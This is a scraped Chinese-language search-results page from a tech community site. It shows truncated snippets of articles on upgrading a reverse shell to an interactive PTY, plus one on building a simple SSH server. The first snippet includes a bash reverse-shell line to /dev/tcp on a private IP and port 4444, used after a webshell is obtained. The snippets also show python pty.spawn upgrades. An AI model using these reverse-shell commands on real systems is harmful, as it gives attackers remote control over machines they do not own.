首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty

---- 实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty 前言 当我们拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的...1. python pty 方式 一般我们都会使用nc来接收反弹来的shell,只需要在目标上(以linux为例)执行: bash -i >& /dev/tcp/192.168.2.134/4444 0...ubuntu ubuntu@ubuntu:~$ top top top: failed tty get ubuntu@ubuntu:~$ tty tty not a tty 但是如果发现对方机器上有 python...的话,我们可以: python -c 'import pty; pty.spawn("/bin/bash")' 可以实现简单的tty,但是这种方式有个问题,当我们ctrl+C的时候,所有连接都会断掉...-c 'import pty; pty.spawn("/bin/bash")' //启用python交互式 # 把它丢到后台挂起 $ ctrl + z # 重置stty,也就意味着你看不到输入的内容

4.3K21
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    不一样的 反弹Shell 系统剖析

    生成交互式反弹shell大致有两种方式,一种是直接反弹pty,另一种是在普通反弹shell中,生成pty。...(1) 直接反弹ptyPython中有一个pty的包,专门用来生成伪终端,我们可以使用pty 反弹bash,并与之绑定: $ python -c 'import socket,subprocess,...(2) 在普通shell中生成pty 在非交互式 或半交互式反弹shell中,利用python 执行如下命令,即可生成pty,相当于把上面的一句话拆成了两部分使用,这种还是比较常见的。...$ python -c 'import pty; pty.spawn("/bin/bash")' ? 如果系统中没有python环境,比如容器中,如果系统存在script命令也是可以。...在受控端,只需要使用一个普通的反弹shell连接到控制端即可,剩下的工作在控制端做就可以了: 3.启用python交互式 $ python -c 'import pty; pty.spawn("/bin

    3K40

    创建一个简单的SSH服务器

    0x03 支持pty pty(pseudo-tty)是伪终端的意思,也就是虚拟了一个终端出来,让进程可以像正常终端一样进行交互(通常情况下通过管道重定向输入输出的进程都无法支持交互式操作)。...也就是说,如果终端要支持像python交互式命令这样的场景,必须支持ptypython中可以通过sys.stdout.isatty()来判断当前进程是否支持伪终端。...python -c 'import sys;print(sys.stdout.isatty())' True python -c 'import sys;print(sys.stdout.isatty...())' > /tmp/1.txt && cat /tmp/1.txt False python -c 'import pty; pty.spawn(["python", "-c", "import...因此,可以使用以下代码创建一个支持pty的子进程: import pty cmdline = list(shlex.split(command or os.environ.get("SHELL", "

    54320
    领券